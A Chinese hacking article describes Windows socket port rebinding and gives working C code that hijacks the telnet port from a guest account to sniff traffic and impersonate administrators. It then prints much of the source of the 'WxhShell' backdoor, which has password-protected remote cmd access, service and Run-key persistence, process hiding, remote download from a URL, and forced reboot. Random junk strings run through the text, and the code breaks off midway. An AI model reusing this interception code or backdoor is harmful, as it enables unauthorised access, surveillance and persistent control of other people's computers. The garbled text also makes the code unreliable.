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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :Q=y'< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z6@8IszU [?I<$f" saddr.sin_family = AF_INET; HP]5"ziA OS@uGp=
saddr.sin_addr.s_addr = htonl(INADDR_ANY); s2SV
y4h
=e~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,H+Y1N4W( U[x$QG6 m! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U~?VN!<x[ V /2NIh 这意味着什么?意味着可以进行如下的攻击: bpZA%{GS uPl}NEwU| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f^1J_}cL :VP4: J^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) __9FQ{Ra 7>gjq'0
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W%>T{}4 mA$y$73=T 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ?j/FYi 0)d='3S 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _LwF:19Il \;~Nj# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N? Jy 3#t#NW*e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s,#We} bv 9zqo!& #include n46!H0mJ #include Qf^c}!I #include ;&6
{c #include yZNG>1N DWORD WINAPI ClientThread(LPVOID lpParam); BZQ}c<Nl int main() 85G-`T { (+(@P*c1 WORD wVersionRequested; o=7,U/{D! DWORD ret; 6ScB:8M WSADATA wsaData; |E?r+] BOOL val; E&kv4, SOCKADDR_IN saddr; C3W4:kbau SOCKADDR_IN scaddr; kR97)}Y int err; dX/7n= SOCKET s; zJy=1r SOCKET sc; YdO*5Gb6 int caddsize; <!>\
n\A HANDLE mt; tlp,HxlP DWORD tid; ZN)EbTpc\a wVersionRequested = MAKEWORD( 2, 2 ); G1jj:]1 err = WSAStartup( wVersionRequested, &wsaData ); e&ysj:W5
" if ( err != 0 ) { 46NuT]6/4 printf("error!WSAStartup failed!\n"); o+=wQ$"tP return -1; 2mzn{S)nV } #&kj> saddr.sin_family = AF_INET; /J-'[Mc'D[ *h0D,O"0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RN-gZ{AW 1i$VX|r saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f#:3TJV saddr.sin_port = htons(23); %f&Y= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HBe*wk Pd { uT,i& printf("error!socket failed!\n"); [5L?#Y return -1; C `_/aR6 } i,ZEUdd*_ val = TRUE; Hh;lT //SO_REUSEADDR选项就是可以实现端口重绑定的 Lq>lj`> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q]OIP"yv { >R]M:Wx printf("error!setsockopt failed!\n"); V4jMx[ return -1; 4@fv%LOQo } .%n_{ab1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ga02Zk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #<[&Lw //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W{'hn&vU R]%"YQ V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'u v=D { @ U=y}vi8 ret=GetLastError(); ZcjLv printf("error!bind failed!\n"); &,G2<2_ b return -1; ZH\t0YhrVe } \;N+PE listen(s,2); o+{,>t while(1) @ywtL8"1~ { Jfr'OD2$ % caddsize = sizeof(scaddr); FCNYfjB% //接受连接请求 nu+K
N,3R" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /xJD/"Y3& if(sc!=INVALID_SOCKET) VB*c1i { 4Pc-A mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %pq.fZI if(mt==NULL) G?$o+Y'F { xP'0a printf("Thread Creat Failed!\n"); Ty&1R? break; hT-^1:N } _Sd^/jGpU } )-!)D CloseHandle(mt); }nPt[77U_7 } d)-ZL*o closesocket(s); E{ c+`>CY WSACleanup(); HL"c yxe return 0; !Q|a R } -&7?!<f DWORD WINAPI ClientThread(LPVOID lpParam) UAXp;W` { 0>CG2 SRn SOCKET ss = (SOCKET)lpParam; [ K/l;Zd SOCKET sc; cJ$jU{} unsigned char buf[4096]; 9*s8%pL SOCKADDR_IN saddr; |
CFG<] long num; y%%VJ}'X! DWORD val; >gzM-d DWORD ret; [ ?7QmZK //如果是隐藏端口应用的话,可以在此处加一些判断 m
uO. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 {2:baoG- saddr.sin_family = AF_INET; 5B:"$vC{= saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QEqYqAGzu| saddr.sin_port = htons(23); Mu`_^gG if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TM6wjHFm { 3_
J'+ printf("error!socket failed!\n"); p3 5)K5V return -1; _@>*]g } j}.gK6Yq* val = 100; Uzvd*>mv if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YQ:$m5ai { ^V; r ret = GetLastError(); %!Eh9C* return -1; d)uuA;n } ZVH 9je if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )x\%*ewY { Xk|a%%O*H ret = GetLastError(); i/_rz.c~3 return -1; f91]0B`C } >mA]2gV<a if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y<W9LF { Bv~^keuj3t printf("error!socket connect failed!\n"); 2H$](k?
closesocket(sc); ru`7iqcz closesocket(ss); DDmC3
return -1; mr}o0@5av } HqV55o5f' while(1) PH%t#a!j3/ { *c4OhMU( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QmSj6pB> //如果是嗅探内容的话,可以再此处进行内容分析和记录 h*;c"/7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y S7lB num = recv(ss,buf,4096,0); c$[2tZ if(num>0)
5:gpynE| send(sc,buf,num,0); 2&S^\kf else if(num==0) ~`e!$= break; ' u<I S/w num = recv(sc,buf,4096,0); }Jh.+k|_ if(num>0) a K6dy\ send(ss,buf,num,0); a7_Q8iMe else if(num==0) r>8`gAhx break; Y~*p27@fR } oO[eer_S- closesocket(ss); qmpT G:+ closesocket(sc); AoGpM,W]5 return 0 ; _hV34:1F } L>/$l( zZ-/S~l aO1.9!<v ========================================================== 8HLL3H0 T$MXsq 下边附上一个代码,,WXhSHELL phb
;D )OQm,5F1 ========================================================== Oi|cTZ@A- 5w>TCx #include "stdafx.h" V$DB4YM1k ]E"J^mflGK #include <stdio.h> |+8rYIms` #include <string.h> V8F!o #include <windows.h> Oq<3&* #include <winsock2.h> !8|r$mN8 #include <winsvc.h> bhRa?wuoY #include <urlmon.h> :I?lT2+ea *j(fk[,i #pragma comment (lib, "Ws2_32.lib") ,DHH5sDCn #pragma comment (lib, "urlmon.lib") (&*Bl\YoX ;FwUUKj #define MAX_USER 100 // 最大客户端连接数 pR0!bgC #define BUF_SOCK 200 // sock buffer _^{RtP#= #define KEY_BUFF 255 // 输入 buffer n>JJ Xw,, hH>a{7V #define REBOOT 0 // 重启 kygj" @EX #define SHUTDOWN 1 // 关机 T@vE@D am5;B`}q #define DEF_PORT 5000 // 监听端口 F6CuY$0m= `@\FpV[|P #define REG_LEN 16 // 注册表键长度 ?-&k?I #define SVC_LEN 80 // NT服务名长度 ?7CdJgJp 2vUcSKG7 // 从dll定义API &/' O?HWl typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >9nVR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); of7'?]w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &Pv$nMB$I typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^K[xVB(& a>#$&&oQ0 // wxhshell配置信息 aTHf+; struct WSCFG { W1o6Sh8v( int ws_port; // 监听端口 3k6Dbz char ws_passstr[REG_LEN]; // 口令 ZiKO|U@/ int ws_autoins; // 安装标记, 1=yes 0=no uHf1b?W char ws_regname[REG_LEN]; // 注册表键名 E}w5.1 char ws_svcname[REG_LEN]; // 服务名 ;gHcDnH) char ws_svcdisp[SVC_LEN]; // 服务显示名 e"EGqn&! char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qj
[p/H$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JUGq\b&m int ws_downexe; // 下载执行标记, 1=yes 0=no 0 "@J*e# char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" QN#Lbsd char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b[&ri:AC , =*^XlO=c }; 7dB_q}< NmpNme // default Wxhshell configuration WB (?6" struct WSCFG wscfg={DEF_PORT, uUBUUr "xuhuanlingzhe", WM$Z?CN%KB 1, 'YN:cr,V "Wxhshell", n~>b}DY "Wxhshell", -H\j-k "WxhShell Service", 9nO&d(r g "Wrsky Windows CmdShell Service", ^|U5@u_ "Please Input Your Password: ", mOjjw_3gq 1, `K$;K8! 1 " http://www.wrsky.com/wxhshell.exe", dEf5x_TGm "Wxhshell.exe" kMzDmgoxNg }; *
kL>9 k_^
4NU // 消息定义模块 p8s%bPjK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }7%ol&<@ char *msg_ws_prompt="\n\r? for help\n\r#>"; YuoErP=P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; M?gZKdj char *msg_ws_ext="\n\rExit."; Bd>ATc+580 char *msg_ws_end="\n\rQuit."; m=pH G char *msg_ws_boot="\n\rReboot..."; RAEN
&M char *msg_ws_poff="\n\rShutdown..."; ept:<!4 char *msg_ws_down="\n\rSave to "; {9@E[bWp# .;vd char *msg_ws_err="\n\rErr!"; \Ff]}4 char *msg_ws_ok="\n\rOK!"; ]=|iO~WN 0^2e^qf char ExeFile[MAX_PATH]; X2~KNw int nUser = 0; /f.
,xs! HANDLE handles[MAX_USER]; f~jdN~ int OsIsNt; s!Id55R] )=N.z6? SERVICE_STATUS serviceStatus; h_Er$ZT64 SERVICE_STATUS_HANDLE hServiceStatusHandle; L^s?EqLXS RHu,t5, // 函数声明 z&qOu8Jh int Install(void); T sJ71 int Uninstall(void); /3"S_KE1@+ int DownloadFile(char *sURL, SOCKET wsh); S]&i<V1qX int Boot(int flag); f .h$jyp( void HideProc(void); BNJG-b|g^ int GetOsVer(void); "1P2`Ep; int Wxhshell(SOCKET wsl); _ -ec(w~/ void TalkWithClient(void *cs); (d
<pxx int CmdShell(SOCKET sock); -%VFC^'5 int StartFromService(void); ZkMHy1 int StartWxhshell(LPSTR lpCmdLine); (Zy=e?E, h^K>(x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m|Z[8Tup VOID WINAPI NTServiceHandler( DWORD fdwControl ); Df1eHa5-7 zcEpywNP // 数据结构和表定义 -x/g+T- SERVICE_TABLE_ENTRY DispatchTable[] = ~F~hgVS5 { ov>`MCS,v {wscfg.ws_svcname, NTServiceMain}, ,b+Hy`t {NULL, NULL} ws]d,] }; {5fq4AA6 noT}NX% // 自我安装 iVqF]2> int Install(void) a}Jy o!. { KA`)dMWL char svExeFile[MAX_PATH]; %
e70*; HKEY key; sg]g;U strcpy(svExeFile,ExeFile); &)~LGWBdC E?mW4? // 如果是win9x系统,修改注册表设为自启动 .e:+Ek+ if(!OsIsNt) { 0wETv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8,m: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8HSGOs =8 RegCloseKey(key); F|WH=s3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { okW'}@jD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pb :6nH= RegCloseKey(key); =gB{( return 0; G~4|]^`g } ht5:kt`F } 7nPm{=BG } wi:d!,P`e else { Rk{2ZUeg #|e5i9l*B // 如果是NT以上系统,安装为系统服务 1Imb"E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0*u X2* if (schSCManager!=0) JDMsco+j5 { IZ_ B $mo SC_HANDLE schService = CreateService 9l7 youZ] ( Q[Tbdc%1EG schSCManager, Nk>6:Ho{G wscfg.ws_svcname, ZOzyf/?. wscfg.ws_svcdisp, rmnnV[@o SERVICE_ALL_ACCESS, 5YiBw|Z7 " SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N<lf,zGw
SERVICE_AUTO_START, "\1V^2kMr SERVICE_ERROR_NORMAL, yj`xOncE} svExeFile, C_hIPMU= NULL, 3j$,x(ua9 NULL, VzFzVeJ NULL, dU"C=c(w\ NULL, _k
W:FB NULL xJ|Z]m=d
); x\(yjNZH if (schService!=0) TGPHjSZ1 { &[}5yos
r CloseServiceHandle(schService); YWa9|&m1 CloseServiceHandle(schSCManager); Jbz>j\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $Jj0%?; strcat(svExeFile,wscfg.ws_svcname); Tb]' b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O /4)aW3B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [k6,!e[/uG RegCloseKey(key); x6*.zo5e return 0; 9\NP)Vm$^ } rxI Ygh } qS2]|7q?Tc CloseServiceHandle(schSCManager); N_8L8ds5 } [$GQ]Y } ?B,B<@='% s}Sxl0 return 1; x1*@PiO,. } Z{.L_]$I \U'TL_Ql // 自我卸载 5'O.l$)y int Uninstall(void) 7llEB*dSA { }\\6"90g* HKEY key; T]J#>LBd ]z / if(!OsIsNt) { 'Xzi$}E D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^-7{{/ RegDeleteValue(key,wscfg.ws_regname); S1n'r}z8 RegCloseKey(key); [ w1" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \8X8NCM RegDeleteValue(key,wscfg.ws_regname); (vf5qF^ RegCloseKey(key); 1]XIF?_Dm return 0; j2|!h%{nI } lf9_!`DGV } *C?x\.\C } V.274e else { 6<A3H$3b oWc
+i U( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ti9cN)lq& if (schSCManager!=0) -x1O|q69 { @AdJu-u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OECXNx if (schService!=0) X{riI^( { <ByDT$E_ if(DeleteService(schService)!=0) { IN9o$CZ: CloseServiceHandle(schService); MRHkQE+K@8 CloseServiceHandle(schSCManager); ;42D+q=s return 0; ;w}5:3+ } w]0jq
U6 CloseServiceHandle(schService); gBG.3\[ } S\UM0G}v CloseServiceHandle(schSCManager); +nslS:( } &hYjQ&n } )Z 3fytY Qmh*Gh?v return 1; wbId}! } ^5~[G%G4 S. OGLLprp // 从指定url下载文件 jQ31u int DownloadFile(char *sURL, SOCKET wsh) $bKa"T* { pf`li]j'V HRESULT hr; 2={ g'k( char seps[]= "/"; d|sI>6jD char *token; fJC,ubP[5 char *file; 3,B[%!3d char myURL[MAX_PATH]; I1H:h char myFILE[MAX_PATH]; <cz~q=%v2& wB(
igPi strcpy(myURL,sURL); :PaFC{O)* token=strtok(myURL,seps); O_PC/=m1@ while(token!=NULL) $mOK|=tI_ { g%<7Px[W file=token; {:enoV" token=strtok(NULL,seps); 6A/|XwfE/v } K~WwV8c9; Z@8amT;Y GetCurrentDirectory(MAX_PATH,myFILE); /qL&)24 strcat(myFILE, "\\"); qQ6NxhQo
strcat(myFILE, file); 9aC>gye! send(wsh,myFILE,strlen(myFILE),0); HF\L`dJX? send(wsh,"...",3,0); tI C_/
6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E%-&!%_>D@ if(hr==S_OK) BWX&5"" return 0; 3r{'@Y
=)Y else es(vWf' return 1; W:>RstbnMG %]Nz54! } rd1&?X ix&hsNzD // 系统电源模块 ?I 1@:?Qi int Boot(int flag) }Gz"og*8 { TniZ!ud HANDLE hToken; Rb~Kyy$ TOKEN_PRIVILEGES tkp; I|O~F e. N]yk<55 if(OsIsNt) { knBT(x'+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6<t\KMd LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 73.o{V tkp.PrivilegeCount = 1; 6v1#i tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %9NGVC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g}qK$>EPS if(flag==REBOOT) { vFCp=8h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IW1]H~1w return 0; ,?#-1uIGL> } +dh]k=6 else { y_QxJ~6t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1=(i{D~ return 0; |$b 4{ } I(
y
Wct } l1wxs@]( else { Il;'s if(flag==REBOOT) { Z gU;=. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sX_ ^H%fd return 0; !P92e1 } Cm;N5i else { iy: ;g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y9w=[[1 return 0; m&A/IW,. } {Ue6DK% } "msg./iC kb7\qH!n return 1; KuI>:i; } yMSRUQ
x |_=jXf\TL // win9x进程隐藏模块 zPkg3H void HideProc(void) !s)$_tG { oC[wYUDg Yu1xJgl HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :6M0`V;L if ( hKernel != NULL ) {G{@bUG]p { *,n7& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cq9Q7<&MF ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1k/l7&n" FreeLibrary(hKernel); dnaf>G3 } z!L0j+ !7^He3 return; i~F Ct4 } UZAWh R Dk"M8_-_ // 获取操作系统版本 \A~
'& int GetOsVer(void) 4*9Dh { ckP3[@Su { OSVERSIONINFO winfo; RY~)MS _C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pM7BdMp GetVersionEx(&winfo); #b" IX`5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^LcI6h
return 1; YI|Gpq else ?\pE#~m return 0;
Qom@-A } /1> q,(&2./ // 客户端句柄模块 {Jy%h8n* int Wxhshell(SOCKET wsl) \rN_CBM { UQdQtj1' SOCKET wsh; CM#EA"9 struct sockaddr_in client; 0$_imjZ DWORD myID; `i:0dVs 7lj-Z~1 while(nUser<MAX_USER) 7S7! { Y}#^n7*w~ int nSize=sizeof(client); f:Ja wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'q^Gg;c>+ if(wsh==INVALID_SOCKET) return 1; D8 #q.OR] SBoF(0< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?^!dLW if(handles[nUser]==0) RQ'c~D)X closesocket(wsh); dB,#`tc=, else w:LCm `d nUser++; 4>Y\2O?** } ).boe& . WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %i
" *Fc&DQT( return 0; ;'
W5|.ZN } !?>)[@2
k6 ,TtDCcjd%f // 关闭 socket w+Z};C void CloseIt(SOCKET wsh) :y
%~9= { ^MW%&&,BL closesocket(wsh); mpivg nUser--; &zd7t6 ExitThread(0); Ww@;9US 3 } /t^lI%& }:8>>lQ // 客户端请求句柄 S- \lN| void TalkWithClient(void *cs) ,+BgY4OY { &}$D[ 4N /
IS WC SOCKET wsh=(SOCKET)cs; &aQ)x char pwd[SVC_LEN]; =arsoCa char cmd[KEY_BUFF]; MB 5[Js| char chr[1]; DQICD.X6R int i,j; }\{1`$*~ vTEkh0Ys while (nUser < MAX_USER) { %Tb|Yfyr C 7x]nY. \ if(wscfg.ws_passstr) { {4 d$]o0V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %Eh%mMb^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u_"h/)C'H //ZeroMemory(pwd,KEY_BUFF); -YyH"f i=0; 4w6K|v<X while(i<SVC_LEN) { Y
fA\#N0;3 X&~Eo // 设置超时 p4EItRZS fd_set FdRead; M\6`2q struct timeval TimeOut; b
. j^US^ FD_ZERO(&FdRead); mlWIq]J FD_SET(wsh,&FdRead); @/(7kh+ TimeOut.tv_sec=8; 7qz-RF#s8 TimeOut.tv_usec=0; N8q Z{CWn int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~?5m5z O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ve1] ECk ')-(N
um if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EM/+1
_u pwd =chr[0]; z{0;%E if(chr[0]==0xd || chr[0]==0xa) { l,L=VDEz, pwd=0; sr+mY; break; an`(?6d } (NC>[ i++; ;T+U&U0d| } s3Ce]MH ]r1{%:8 // 如果是非法用户,关闭 socket wT=hO+ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D*gVS } O mIB k B/hHkOoo send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \87J~K' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uW9M&"C~ r(T/^< while(1) { 7 aD&\? R<HZC;x ZeroMemory(cmd,KEY_BUFF); 'm5(MC, 7B!Qq/E?g // 自动支持客户端 telnet标准 <&%1pZ/6. j=0; C(HmLEB^ while(j<KEY_BUFF) { 5a!e%jj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PB67?d~ cmd[j]=chr[0]; pNQkKDbL+ if(chr[0]==0xa || chr[0]==0xd) { pQ:PwyU cmd[j]=0; ,HkhK bQ break; ASa!yV=g } aZ>\*1 j++; i!oj&& } ?67I|@^ Sw@,<4S // 下载文件 %O=V4%"m\ if(strstr(cmd,"http://")) { @dCPa7:>& send(wsh,msg_ws_down,strlen(msg_ws_down),0); nSQ}yqM) if(DownloadFile(cmd,wsh)) $,,>R[; w send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7QiCZcb\ else Cj 2Xl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z12But\< } kok^4VV else { 9r+O!kF( &:I
+]G/W switch(cmd[0]) { y*b.eO Cm;qDvj+u // 帮助 Gb |}Su case '?': { ?g;ZbD send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %SO%{.}Zf break; SslY]d] } 71" JL", // 安装 t?nc0;Q9,@ case 'i': { 8Cs$NUU if(Install()) _=*tDa send(wsh,msg_ws_err,strlen(msg_ws_err),0); mHEf-6|C` else +'qX
sfc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W_,;eyo break; c\MsVH2| } bxdXZBn // 卸载 Sj{ia2AE_ case 'r': { _7#tgZyv if(Uninstall()) Ryq"\Q>+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4SffP/ else -yAnn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f3TlJ!!U break; K>cz63}S } R,+/A8[j // 显示 wxhshell 所在路径 YZH#5]o8 case 'p': { `<}V
!Lo char svExeFile[MAX_PATH]; $?)3&\)R strcpy(svExeFile,"\n\r"); WTD49_px strcat(svExeFile,ExeFile); Xs>s|_T send(wsh,svExeFile,strlen(svExeFile),0); @\T;PTD- break; G4`Ut1g^ } ytve1<.Ff // 重启 XJh:U0 case 'b': { +|?|8"Qg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IjDT'p_ if(Boot(REBOOT)) crNjI`%tw send(wsh,msg_ws_err,strlen(msg_ws_err),0); q^N0abzgP else { II-$WJy closesocket(wsh); |#&V:GZp ExitThread(0); YXzZ-28,< } m@Ip^]9ry break; fNqmTRu } 7SK3 // 关机 9y^kb+ case 'd': { >I d!I send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '8l yj&
if(Boot(SHUTDOWN)) +qdIj] v send(wsh,msg_ws_err,strlen(msg_ws_err),0); ``|gcG else { e$Bf[F#;- closesocket(wsh); :6W^ S/pf ExitThread(0); $Pd|6 } 9si}WqAw break; bR'mV-2' } w*:GM8=6 // 获取shell 8jjFC9Cbn0 case 's': { *"5N>F[L CmdShell(wsh); $,KP]~? closesocket(wsh); mLg{6qm(q ExitThread(0); 2gwZb/'i break; B` *f( } GOf`Z'\xt // 退出 {Vxc6,= case 'x': { $U>/i@ D send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _hy{F%} CloseIt(wsh); ut$,?k!M break; Hwp{< } (LRM~5KVg // 离开 Vd%v_Ek case 'q': { _r\$NgJIM send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;P;"F21^> closesocket(wsh); P{S\pWZkk WSACleanup(); K$G RJ exit(1); VT%
KN`l break; gMs+?SNHAh } '%SR. JL } zLsb`)! } Ufdl|smt1 X>Al:?`}N // 提示信息 SOp=~z if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }!%JYG^!D } ~H^'al2PK } > -y&$1 ]cm6 |`pz return; |(V?,^b^ro } }bf=Ntk UvxSMD:A // shell模块句柄
76-jMcGi int CmdShell(SOCKET sock) r{\BbUnf) { uf)W-Er6~ STARTUPINFO si; #bT8QbJ( ZeroMemory(&si,sizeof(si)); -AjH}A[! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oW1"%i% si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~x|aoozL PROCESS_INFORMATION ProcessInfo; ~:>AR` 9G char cmdline[]="cmd"; #:J:YMv CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EntF@ln! return 0; e-X HN } KD% TxK }*
QO]_U? // 自身启动模式 Eh\ 1O(a( int StartFromService(void) Al7<s { T><{ze typedef struct ,~4H{{<j { X^}A*4j DWORD ExitStatus; Rj[hhSx 2 DWORD PebBaseAddress; &<,SV^wag DWORD AffinityMask; l~bKBz DWORD BasePriority; Jyj0Gco ULONG UniqueProcessId; g(/{.%\k ULONG InheritedFromUniqueProcessId; &E
bI Op } PROCESS_BASIC_INFORMATION; 6M ^IwE Ji;SY{~kv PROCNTQSIP NtQueryInformationProcess; ' .B.V?7 n*Q`g@` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kdp%
